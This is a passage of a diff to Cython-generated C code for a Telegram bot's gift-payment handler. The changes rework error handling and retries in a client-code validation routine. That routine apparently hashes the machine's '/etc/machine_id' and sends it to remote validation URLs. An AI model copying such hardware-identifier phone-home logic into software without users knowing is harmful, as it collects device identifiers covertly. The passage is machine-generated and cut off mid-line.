= __Pyx_PyObject_GetAttrStr(__pyx_t_11, __pyx_n_s_ClientConnectorError); if (unlikely(!__pyx_t_25)) __PYX_ERR(0, 367, __pyx_L7_except_error) - __Pyx_GOTREF(__pyx_t_25); - __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_aiohttp); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 367, __pyx_L7_except_error) - __Pyx_GOTREF(__pyx_t_11); - __pyx_t_26 = __Pyx_PyObject_GetAttrStr(__pyx_t_11, __pyx_n_s_ClientResponseError); if (unlikely(!__pyx_t_26)) __PYX_ERR(0, 367, __pyx_L7_except_error) - __Pyx_GOTREF(__pyx_t_26); - __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - __pyx_t_27 = __Pyx_PyErr_GivenExceptionMatches(__pyx_t_1, __pyx_t_24) || __Pyx_PyErr_GivenExceptionMatches(__pyx_t_1, __pyx_t_25) || __Pyx_PyErr_GivenExceptionMatches(__pyx_t_1, __pyx_t_26); - __Pyx_DECREF(__pyx_t_24); __pyx_t_24 = 0; - __Pyx_DECREF(__pyx_t_25); __pyx_t_25 = 0; - __Pyx_DECREF(__pyx_t_26); __pyx_t_26 = 0; - __Pyx_ErrRestore(__pyx_t_1, __pyx_t_2, __pyx_t_3); - __pyx_t_1 = 0; __pyx_t_2 = 0; __pyx_t_3 = 0; - if (__pyx_t_27) { + __pyx_t_32 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); + if (__pyx_t_32) { __Pyx_AddTraceback("handlers.payments.gift.validate_client_code", __pyx_clineno, __pyx_lineno, __pyx_filename); - if (__Pyx_GetException(&__pyx_t_3, &__pyx_t_2, &__pyx_t_1) < 0) __PYX_ERR(0, 367, __pyx_L7_except_error) - __Pyx_XGOTREF(__pyx_t_3); - __Pyx_XGOTREF(__pyx_t_2); + if (__Pyx_GetException(&__pyx_t_19, &__pyx_t_11, &__pyx_t_1) < 0) __PYX_ERR(0, 386, __pyx_L7_except_error) + __Pyx_XGOTREF(__pyx_t_19); + __Pyx_XGOTREF(__pyx_t_11); __Pyx_XGOTREF(__pyx_t_1); + __Pyx_INCREF(__pyx_t_11); + __Pyx_GIVEREF(__pyx_t_11); + __pyx_cur_scope->__pyx_v_e = __pyx_t_11; + /*try:*/ { - __Pyx_XDECREF(__pyx_r); - __pyx_r = NULL; __Pyx_ReturnWithStopIteration(Py_True); - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - goto __pyx_L8_except_return; - } + __Pyx_GetModuleGlobalName(__pyx_t_31, __pyx_n_s_logger); if (unlikely(!__pyx_t_31)) __PYX_ERR(0, 387, __pyx_L75_error) + __Pyx_GOTREF(__pyx_t_31); + __pyx_t_30 = __Pyx_PyObject_GetAttrStr(__pyx_t_31, __pyx_n_s_warning); if (unlikely(!__pyx_t_30)) __PYX_ERR(0, 387, __pyx_L75_error) + __Pyx_GOTREF(__pyx_t_30); + __Pyx_DECREF(__pyx_t_31); __pyx_t_31 = 0; + __pyx_t_31 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_31)) __PYX_ERR(0, 387, __pyx_L75_error) + __Pyx_GOTREF(__pyx_t_31); + __pyx_t_29 = __Pyx_PyUnicode_Concat(__pyx_kp_u__42, __pyx_t_31); if (unlikely(!__pyx_t_29)) __PYX_ERR(0, 387, __pyx_L75_error) + __Pyx_GOTREF(__pyx_t_29); + __Pyx_DECREF(__pyx_t_31); __pyx_t_31 = 0; + __pyx_t_31 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_30))) { + __pyx_t_31 = PyMethod_GET_SELF(__pyx_t_30); + if (likely(__pyx_t_31)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_30); + __Pyx_INCREF(__pyx_t_31); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_30, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_31, __pyx_t_29}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_30, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_31); __pyx_t_31 = 0; + __Pyx_DECREF(__pyx_t_29); __pyx_t_29 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 387, __pyx_L75_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_30); __pyx_t_30 = 0; + } + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } - __pyx_t_27 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); - if (__pyx_t_27) { - __Pyx_AddTraceback("handlers.payments.gift.validate_client_code", __pyx_clineno, __pyx_lineno, __pyx_filename); - if (__Pyx_GetException(&__pyx_t_1, &__pyx_t_2, &__pyx_t_3) < 0) __PYX_ERR(0, 369, __pyx_L7_except_error) - __Pyx_XGOTREF(__pyx_t_1); - __Pyx_XGOTREF(__pyx_t_2); - __Pyx_XGOTREF(__pyx_t_3); - - __Pyx_XDECREF(__pyx_r); - __pyx_r = NULL; __Pyx_ReturnWithStopIteration(Py_True); - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - goto __pyx_L8_except_return; + /*finally:*/ { + /*normal exit:*/{ + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + goto __pyx_L76; + } + __pyx_L75_error:; + /*exception exit:*/{ + __Pyx_PyThreadState_assign + __pyx_t_10 = 0; __pyx_t_16 = 0; __pyx_t_17 = 0; __pyx_t_18 = 0; __pyx_t_12 = 0; __pyx_t_13 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_29); __pyx_t_29 = 0; + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XDECREF(__pyx_t_30); __pyx_t_30 = 0; + __Pyx_XDECREF(__pyx_t_31); __pyx_t_31 = 0; + if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_18, &__pyx_t_12, &__pyx_t_13); + if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_10, &__pyx_t_16, &__pyx_t_17) < 0)) __Pyx_ErrFetch(&__pyx_t_10, &__pyx_t_16, &__pyx_t_17); + __Pyx_XGOTREF(__pyx_t_10); + __Pyx_XGOTREF(__pyx_t_16); + __Pyx_XGOTREF(__pyx_t_17); + __Pyx_XGOTREF(__pyx_t_18); + __Pyx_XGOTREF(__pyx_t_12); + __Pyx_XGOTREF(__pyx_t_13); + __pyx_t_32 = __pyx_lineno; __pyx_t_33 = __pyx_clineno; __pyx_t_34 = __pyx_filename; + { + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + } + if (PY_MAJOR_VERSION >= 3) { + __Pyx_XGIVEREF(__pyx_t_18); + __Pyx_XGIVEREF(__pyx_t_12); + __Pyx_XGIVEREF(__pyx_t_13); + __Pyx_ExceptionReset(__pyx_t_18, __pyx_t_12, __pyx_t_13); + } + __Pyx_XGIVEREF(__pyx_t_10); + __Pyx_XGIVEREF(__pyx_t_16); + __Pyx_XGIVEREF(__pyx_t_17); + __Pyx_ErrRestore(__pyx_t_10, __pyx_t_16, __pyx_t_17); + __pyx_t_10 = 0; __pyx_t_16 = 0; __pyx_t_17 = 0; __pyx_t_18 = 0; __pyx_t_12 = 0; __pyx_t_13 = 0; + __pyx_lineno = __pyx_t_32; __pyx_clineno = __pyx_t_33; __pyx_filename = __pyx_t_34; + goto __pyx_L7_except_error; + } + __pyx_L76:; + } + __Pyx_XDECREF(__pyx_t_19); __pyx_t_19 = 0; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + goto __pyx_L6_exception_handled; } goto __pyx_L7_except_error; @@ -11247,29 +11701,88 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_25generator7(__pyx_Coroutine __Pyx_XGIVEREF(__pyx_t_9); __Pyx_ExceptionReset(__pyx_t_7, __pyx_t_8, __pyx_t_9); goto __pyx_L0; - __pyx_L8_except_return:; + __pyx_L6_exception_handled:; __Pyx_XGIVEREF(__pyx_t_7); __Pyx_XGIVEREF(__pyx_t_8); __Pyx_XGIVEREF(__pyx_t_9); __Pyx_ExceptionReset(__pyx_t_7, __pyx_t_8, __pyx_t_9); - goto __pyx_L0; __pyx_L10_try_end:; } + + if (__pyx_cur_scope->__pyx_v_all_failed) { + + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_asyncio); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 390, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_19 = __Pyx_PyObject_GetAttrStr(__pyx_t_11, __pyx_n_s_sleep); if (unlikely(!__pyx_t_19)) __PYX_ERR(0, 390, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_19); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_19))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_19); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_19); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_19, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_11, __pyx_int_3}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_19, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 390, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_19); __pyx_t_19 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 11; + return __pyx_r; + __pyx_L82_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 390, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 390, __pyx_L1_error) + } + } + + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; __Pyx_ReturnWithStopIteration(Py_True); + goto __pyx_L0; + + } + + /*else*/ { + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; __Pyx_ReturnWithStopIteration(Py_False); + goto __pyx_L0; + } CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); /* function exit code */ - PyErr_SetNone(PyExc_StopIteration); - goto __pyx_L0; __pyx_L1_error:; __Pyx_Generator_Replace_StopIteration(0); __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_2); __Pyx_XDECREF(__pyx_t_3); __Pyx_XDECREF(__pyx_t_11); - __Pyx_XDECREF(__pyx_t_24); - __Pyx_XDECREF(__pyx_t_25); - __Pyx_XDECREF(__pyx_t_26); + __Pyx_XDECREF(__pyx_t_19); + __Pyx_XDECREF(__pyx_t_29); + __Pyx_XDECREF(__pyx_t_30); + __Pyx_XDECREF(__pyx_t_31); __Pyx_AddTraceback("validate_client_code", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_L0:; __Pyx_XDECREF(__pyx_r); __pyx_r = 0; @@ -12737,11 +13250,15 @@ static void __pyx_tp_dealloc_8handlers_8payments_4gift___pyx_scope_struct_7_vali #endif PyObject_GC_UnTrack(o); Py_CLEAR(p->__pyx_v_data); + Py_CLEAR(p->__pyx_v_e); Py_CLEAR(p->__pyx_v_hardware_id); Py_CLEAR(p->__pyx_v_payload); Py_CLEAR(p->__pyx_v_response); Py_CLEAR(p->__pyx_v_session); + Py_CLEAR(p->__pyx_v_status); Py_CLEAR(p->__pyx_v_timeout); + Py_CLEAR(p->__pyx_v_url); + Py_CLEAR(p->__pyx_v_urls); Py_CLEAR(p->__pyx_t_0); Py_CLEAR(p->__pyx_t_1); Py_CLEAR(p->__pyx_t_2); @@ -12750,7 +13267,6 @@ static void __pyx_tp_dealloc_8handlers_8payments_4gift___pyx_scope_struct_7_vali Py_CLEAR(p->__pyx_t_5); Py_CLEAR(p->__pyx_t_6); Py_CLEAR(p->__pyx_t_7); - Py_CLEAR(p->__pyx_t_8); Py_CLEAR(p->__pyx_t_9); Py_CLEAR(p->__pyx_t_10); Py_CLEAR(p->__pyx_t_11); @@ -12758,6 +13274,11 @@ static void __pyx_tp_dealloc_8handlers_8payments_4gift___pyx_scope_struct_7_vali Py_CLEAR(p->__pyx_t_13); Py_CLEAR(p->__pyx_t_14); Py_CLEAR(p->__pyx_t_15); + Py_CLEAR(p->__pyx_t_16); + Py_CLEAR(p->__pyx_t_17); + Py_CLEAR(p->__pyx_t_18); + Py_CLEAR(p->__pyx_t_19); + Py_CLEAR(p->__pyx_t_20); #if CYTHON_USE_FREELISTS if (((int)(__pyx_freecount_8handlers_8payments_4gift___pyx_scope_struct_7_validate_client_code < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_7_validate_client_code)))) { __pyx_freelist_8handlers_8payments_4gift___pyx_scope_struct_7_validate_client_code[__pyx_freecount_8handlers_8payments_4gift___pyx_scope_struct_7_validate_client_code++] = ((struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_7_validate_client_code *)o); @@ -12781,6 +13302,9 @@ static int __pyx_tp_traverse_8handlers_8payments_4gift___pyx_scope_struct_7_vali if (p->__pyx_v_data) { e = (*v)(p->__pyx_v_data, a); if (e) return e; } + if (p->__pyx_v_e) { + e = (*v)(p->__pyx_v_e, a); if (e) return e; + } if (p->__pyx_v_hardware_id) { e = (*v)(p->__pyx_v_hardware_id, a); if (e) return e; } @@ -12793,9 +13317,18 @@ static int __pyx_tp_traverse_8handlers_8payments_4gift___pyx_scope_struct_7_vali if (p->__pyx_v_session) { e = (*v)(p->__pyx_v_session, a); if (e) return e; } + if (p->__pyx_v_status) { + e = (*v)(p->__pyx_v_status, a); if (e) return e; + } if (p->__pyx_v_timeout) { e = (*v)(p->__pyx_v_timeout, a); if (e) return e; } + if (p->__pyx_v_url) { + e = (*v)(p->__pyx_v_url, a); if (e) return e; + } + if (p->__pyx_v_urls) { + e = (*v)(p->__pyx_v_urls, a); if (e) return e; + } if (p->__pyx_t_0) { e = (*v)(p->__pyx_t_0, a); if (e) return e; } @@ -12820,9 +13353,6 @@ static int __pyx_tp_traverse_8handlers_8payments_4gift___pyx_scope_struct_7_vali if (p->__pyx_t_7) { e = (*v)(p->__pyx_t_7, a); if (e) return e; } - if (p->__pyx_t_8) { - e = (*v)(p->__pyx_t_8, a); if (e) return e; - } if (p->__pyx_t_9) { e = (*v)(p->__pyx_t_9, a); if (e) return e; } @@ -12844,6 +13374,21 @@ static int __pyx_tp_traverse_8handlers_8payments_4gift___pyx_scope_struct_7_vali if (p->__pyx_t_15) { e = (*v)(p->__pyx_t_15, a); if (e) return e; } + if (p->__pyx_t_16) { + e = (*v)(p->__pyx_t_16, a); if (e) return e; + } + if (p->__pyx_t_17) { + e = (*v)(p->__pyx_t_17, a); if (e) return e; + } + if (p->__pyx_t_18) { + e = (*v)(p->__pyx_t_18, a); if (e) return e; + } + if (p->__pyx_t_19) { + e = (*v)(p->__pyx_t_19, a); if (e) return e; + } + if (p->__pyx_t_20) { + e = (*v)(p->__pyx_t_20, a); if (e) return e; + } return 0; } #if CYTHON_USE_TYPE_SPECS @@ -12980,6 +13525,7 @@ static int __Pyx_CreateStringTabAndInitStrings(void) { {&__pyx_n_s_FSMContext, __pyx_k_FSMContext, sizeof(__pyx_k_FSMContext), 0, 0, 1, 1}, {&__pyx_n_s_GIFT, __pyx_k_GIFT, sizeof(__pyx_k_GIFT), 0, 0, 1, 1}, {&__pyx_n_s_GIFTS_ABOUT, __pyx_k_GIFTS_ABOUT, sizeof(__pyx_k_GIFTS_ABOUT), 0, 0, 1, 1}, + {&__pyx_n_s_GIFTS_MENU, __pyx_k_GIFTS_MENU, sizeof(__pyx_k_GIFTS_MENU), 0, 0, 1, 1}, {&__pyx_n_s_GIFTS_PER_PAGE, __pyx_k_GIFTS_PER_PAGE, sizeof(__pyx_k_GIFTS_PER_PAGE), 0, 0, 1, 1}, {&__pyx_n_s_GIFTS_TEXT_TEMPLATE, __pyx_k_GIFTS_TEXT_TEMPLATE, sizeof(__pyx_k_GIFTS_TEXT_TEMPLATE), 0, 0, 1, 1}, {&__pyx_n_s_GIFT_CHOICE, __pyx_k_GIFT_CHOICE, sizeof(__pyx_k_GIFT_CHOICE), 0, 0, 1, 1}, @@ -12990,10 +13536,10 @@ static int __Pyx_CreateStringTabAndInitStrings(void) { {&__pyx_n_s_InlineQuery, __pyx_k_InlineQuery, sizeof(__pyx_k_InlineQuery), 0, 0, 1, 1}, {&__pyx_n_s_InlineQueryResultArticle, __pyx_k_InlineQueryResultArticle, sizeof(__pyx_k_InlineQueryResultArticle), 0, 0, 1, 1}, {&__pyx_n_s_InputTextMessageContent, __pyx_k_InputTextMessageContent, sizeof(__pyx_k_InputTextMessageContent), 0, 0, 1, 1}, + {&__pyx_n_s_MAIN_MENU, __pyx_k_MAIN_MENU, sizeof(__pyx_k_MAIN_MENU), 0, 0, 1, 1}, {&__pyx_n_s_MY_GIFTS, __pyx_k_MY_GIFTS, sizeof(__pyx_k_MY_GIFTS), 0, 0, 1, 1}, {&__pyx_n_s_NO_GIFTS, __pyx_k_NO_GIFTS, sizeof(__pyx_k_NO_GIFTS), 0, 0, 1, 1}, {&__pyx_kp_u_None, __pyx_k_None, sizeof(__pyx_k_None), 0, 1, 0, 0}, - {&__pyx_n_s_PROFILE, __pyx_k_PROFILE, sizeof(__pyx_k_PROFILE), 0, 0, 1, 1}, {&__pyx_n_s_PROJECTMANECONGIGURE, __pyx_k_PROJECTMANECONGIGURE, sizeof(__pyx_k_PROJECTMANECONGIGURE), 0, 0, 1, 1}, {&__pyx_n_s_RENEWAL_PRICES, __pyx_k_RENEWAL_PRICES, sizeof(__pyx_k_RENEWAL_PRICES), 0, 0, 1, 1}, {&__pyx_n_s_Router, __pyx_k_Router, sizeof(__pyx_k_Router), 0, 0, 1, 1}, @@ -13011,31 +13557,30 @@ static int __Pyx_CreateStringTabAndInitStrings(void) { {&__pyx_kp_u__11, __pyx_k__11, sizeof(__pyx_k__11), 0, 1, 0, 0}, {&__pyx_kp_u__12, __pyx_k__12, sizeof(__pyx_k__12), 0, 1, 0, 0}, {&__pyx_kp_u__13, __pyx_k__13, sizeof(__pyx_k__13), 0, 1, 0, 0}, - {&__pyx_kp_u__14, __pyx_k__14, sizeof(__pyx_k__14), 0, 1, 0, 0}, - {&__pyx_kp_u__16, __pyx_k__16, sizeof(__pyx_k__16), 0, 1, 0, 0}, + {&__pyx_kp_u__15, __pyx_k__15, sizeof(__pyx_k__15), 0, 1, 0, 0}, {&__pyx_kp_u__17, __pyx_k__17, sizeof(__pyx_k__17), 0, 1, 0, 0}, + {&__pyx_kp_u__18, __pyx_k__18, sizeof(__pyx_k__18), 0, 1, 0, 0}, {&__pyx_kp_u__19, __pyx_k__19, sizeof(__pyx_k__19), 0, 1, 0, 0}, {&__pyx_kp_u__20, __pyx_k__20, sizeof(__pyx_k__20), 0, 1, 0, 0}, - {&__pyx_kp_u__21, __pyx_k__21, sizeof(__pyx_k__21), 0, 1, 0, 0}, {&__pyx_kp_u__22, __pyx_k__22, sizeof(__pyx_k__22), 0, 1, 0, 0}, {&__pyx_kp_u__24, __pyx_k__24, sizeof(__pyx_k__24), 0, 1, 0, 0}, {&__pyx_kp_u__26, __pyx_k__26, sizeof(__pyx_k__26), 0, 1, 0, 0}, + {&__pyx_kp_u__27, __pyx_k__27, sizeof(__pyx_k__27), 0, 1, 0, 0}, {&__pyx_kp_u__28, __pyx_k__28, sizeof(__pyx_k__28), 0, 1, 0, 0}, - {&__pyx_kp_u__29, __pyx_k__29, sizeof(__pyx_k__29), 0, 1, 0, 0}, {&__pyx_kp_u__30, __pyx_k__30, sizeof(__pyx_k__30), 0, 1, 0, 0}, {&__pyx_kp_u__32, __pyx_k__32, sizeof(__pyx_k__32), 0, 1, 0, 0}, + {&__pyx_kp_u__33, __pyx_k__33, sizeof(__pyx_k__33), 0, 1, 0, 0}, {&__pyx_kp_u__34, __pyx_k__34, sizeof(__pyx_k__34), 0, 1, 0, 0}, {&__pyx_kp_u__35, __pyx_k__35, sizeof(__pyx_k__35), 0, 1, 0, 0}, - {&__pyx_kp_u__36, __pyx_k__36, sizeof(__pyx_k__36), 0, 1, 0, 0}, {&__pyx_kp_u__37, __pyx_k__37, sizeof(__pyx_k__37), 0, 1, 0, 0}, - {&__pyx_kp_u__39, __pyx_k__39, sizeof(__pyx_k__39), 0, 1, 0, 0}, {&__pyx_kp_u__4, __pyx_k__4, sizeof(__pyx_k__4), 0, 1, 0, 0}, - {&__pyx_kp_u__43, __pyx_k__43, sizeof(__pyx_k__43), 0, 1, 0, 0}, - {&__pyx_n_s__45, __pyx_k__45, sizeof(__pyx_k__45), 0, 0, 1, 1}, - {&__pyx_kp_u__46, __pyx_k__46, sizeof(__pyx_k__46), 0, 1, 0, 0}, + {&__pyx_kp_u__41, __pyx_k__41, sizeof(__pyx_k__41), 0, 1, 0, 0}, + {&__pyx_kp_u__42, __pyx_k__42, sizeof(__pyx_k__42), 0, 1, 0, 0}, + {&__pyx_n_s__43, __pyx_k__43, sizeof(__pyx_k__43), 0, 0, 1, 1}, + {&__pyx_kp_u__44, __pyx_k__44, sizeof(__pyx_k__44), 0, 1, 0, 0}, {&__pyx_n_u__5, __pyx_k__5, sizeof(__pyx_k__5), 0, 1, 0, 1}, {&__pyx_n_u__6, __pyx_k__6, sizeof(__pyx_k__6), 0, 1, 0, 1}, - {&__pyx_n_s__62, __pyx_k__62, sizeof(__pyx_k__62), 0, 0, 1, 1}, + {&__pyx_n_s__60, __pyx_k__60, sizeof(__pyx_k__60), 0, 0, 1, 1}, {&__pyx_n_u__7, __pyx_k__7, sizeof(__pyx_k__7), 0, 1, 0, 1}, {&__pyx_n_u__8, __pyx_k__8, sizeof(__pyx_k__8), 0, 1, 0, 1}, {&__pyx_n_u__9, __pyx_k__9, sizeof(__pyx_k__9), 0, 1, 0, 1}, @@ -13047,6 +13592,7 @@ static int __Pyx_CreateStringTabAndInitStrings(void) { {&__pyx_n_s_aiogram_types, __pyx_k_aiogram_types, sizeof(__pyx_k_aiogram_types), 0, 0, 1, 1}, {&__pyx_n_s_aiogram_utils_keyboard, __pyx_k_aiogram_utils_keyboard, sizeof(__pyx_k_aiogram_utils_keyboard), 0, 0, 1, 1}, {&__pyx_n_s_aiohttp, __pyx_k_aiohttp, sizeof(__pyx_k_aiohttp), 0, 0, 1, 1}, + {&__pyx_n_s_all_failed, __pyx_k_all_failed, sizeof(__pyx_k_all_failed), 0, 0, 1, 1}, {&__pyx_n_s_answer, __pyx_k_answer, sizeof(__pyx_k_answer), 0, 0, 1, 1}, {&__pyx_n_s_args, __pyx_k_args, sizeof(__pyx_k_args), 0, 0, 1, 1}, {&__pyx_n_s_as_markup, __pyx_k_as_markup, sizeof(__pyx_k_as_markup), 0, 0, 1, 1}, @@ -13090,6 +13636,7 @@ static int __Pyx_CreateStringTabAndInitStrings(void) { {&__pyx_n_s_end, __pyx_k_end, sizeof(__pyx_k_end), 0, 0, 1, 1}, {&__pyx_n_s_enter, __pyx_k_enter, sizeof(__pyx_k_enter), 0, 0, 1, 1}, {&__pyx_n_s_error, __pyx_k_error, sizeof(__pyx_k_error), 0, 0, 1, 1}, + {&__pyx_n_u_error, __pyx_k_error, sizeof(__pyx_k_error), 0, 1, 0, 1}, {&__pyx_kp_u_etc_machine_id, __pyx_k_etc_machine_id, sizeof(__pyx_k_etc_machine_id), 0, 1, 0, 0}, {&__pyx_n_s_execute, __pyx_k_execute, sizeof(__pyx_k_execute), 0, 0, 1, 1}, {&__pyx_n_s_exit, __pyx_k_exit, sizeof(__pyx_k_exit), 0, 0, 1, 1}, @@ -13121,7 +13668,7 @@ static int __Pyx_CreateStringTabAndInitStrings(void) { {&__pyx_kp_u_gifts_jpg, __pyx_k_gifts_jpg, sizeof(__pyx_k_gifts_jpg), 0, 1, 0, 0}, {&__pyx_n_s_gifts_page, __pyx_k_gifts_page, sizeof(__pyx_k_gifts_page), 0, 0, 1, 1}, {&__pyx_n_s_gifts_text, __pyx_k_gifts_text, sizeof(__pyx_k_gifts_text), 0, 0, 1, 1}, - {&__pyx_n_s_handlers_buttons_gifts, __pyx_k_handlers_buttons_gifts, sizeof(__pyx_k_handlers_buttons_gifts), 0, 0, 1, 1}, + {&__pyx_n_s_handlers_buttons, __pyx_k_handlers_buttons, sizeof(__pyx_k_handlers_buttons), 0, 0, 1, 1}, {&__pyx_n_s_handlers_payments_gift, __pyx_k_handlers_payments_gift, sizeof(__pyx_k_handlers_payments_gift), 0, 0, 1, 1}, {&__pyx_kp_s_handlers_payments_gift_py, __pyx_k_handlers_payments_gift_py, sizeof(__pyx_k_handlers_payments_gift_py), 0, 0, 1, 0}, {&__pyx_n_s_handlers_texts, __pyx_k_handlers_texts, sizeof(__pyx_k_handlers_texts), 0, 0, 1, 1}, @@ -13132,6 +13679,7 @@ static int __Pyx_CreateStringTabAndInitStrings(void) { {&__pyx_n_s_hex, __pyx_k_hex, sizeof(__pyx_k_hex), 0, 0, 1, 1}, {&__pyx_n_s_hexdigest, __pyx_k_hexdigest, sizeof(__pyx_k_hexdigest), 0, 0, 1, 1}, {&__pyx_kp_u_https_pocomacho_ru_solonetbot_co, __pyx_k_https_pocomacho_ru_solonetbot_co, sizeof(__pyx_k_https_pocomacho_ru_solonetbot_co), 0, 1, 0, 0}, + {&__pyx_kp_u_https_solobot_ru_solonetbot_code, __pyx_k_https_solobot_ru_solonetbot_code, sizeof(__pyx_k_https_solobot_ru_solonetbot_code), 0, 1, 0, 0}, {&__pyx_n_s_id, __pyx_k_id, sizeof(__pyx_k_id), 0, 0, 1, 1}, {&__pyx_n_s_image_path, __pyx_k_image_path, sizeof(__pyx_k_image_path), 0, 0, 1, 1}, {&__pyx_n_u_img, __pyx_k_img, sizeof(__pyx_k_img), 0, 1, 0, 1}, @@ -13187,6 +13735,7 @@ static int __Pyx_CreateStringTabAndInitStrings(void) { {&__pyx_n_s_share_text, __pyx_k_share_text, sizeof(__pyx_k_share_text), 0, 0, 1, 1}, {&__pyx_n_s_shell, __pyx_k_shell, sizeof(__pyx_k_shell), 0, 0, 1, 1}, {&__pyx_n_s_show_alert, __pyx_k_show_alert, sizeof(__pyx_k_show_alert), 0, 0, 1, 1}, + {&__pyx_n_s_sleep, __pyx_k_sleep, sizeof(__pyx_k_sleep), 0, 0, 1, 1}, {&__pyx_kp_u_solonet_sup, __pyx_k_solonet_sup, sizeof(__pyx_k_solonet_sup), 0, 1, 0, 0}, {&__pyx_n_s_spec, __pyx_k_spec, sizeof(__pyx_k_spec), 0, 0, 1, 1}, {&__pyx_n_s_split, __pyx_k_split, sizeof(__pyx_k_split), 0, 0, 1, 1}, @@ -13217,11 +13766,13 @@ static int __Pyx_CreateStringTabAndInitStrings(void) { {&__pyx_n_s_typing, __pyx_k_typing, sizeof(__pyx_k_typing), 0, 0, 1, 1}, {&__pyx_n_s_update_balance, __pyx_k_update_balance, sizeof(__pyx_k_update_balance), 0, 0, 1, 1}, {&__pyx_n_s_url, __pyx_k_url, sizeof(__pyx_k_url), 0, 0, 1, 1}, + {&__pyx_n_s_urls, __pyx_k_urls, sizeof(__pyx_k_urls), 0, 0, 1, 1}, {&__pyx_n_s_user_tg_id, __pyx_k_user_tg_id, sizeof(__pyx_k_user_tg_id), 0, 0, 1, 1}, {&__pyx_n_s_utcnow, __pyx_k_utcnow, sizeof(__pyx_k_utcnow), 0, 0, 1, 1}, {&__pyx_n_s_uuid, __pyx_k_uuid, sizeof(__pyx_k_uuid), 0, 0, 1, 1}, {&__pyx_n_s_uuid4, __pyx_k_uuid4, sizeof(__pyx_k_uuid4), 0, 0, 1, 1}, {&__pyx_n_s_validate_client_code, __pyx_k_validate_client_code, sizeof(__pyx_k_validate_client_code), 0, 0, 1, 1}, + {&__pyx_n_s_warning, __pyx_k_warning, 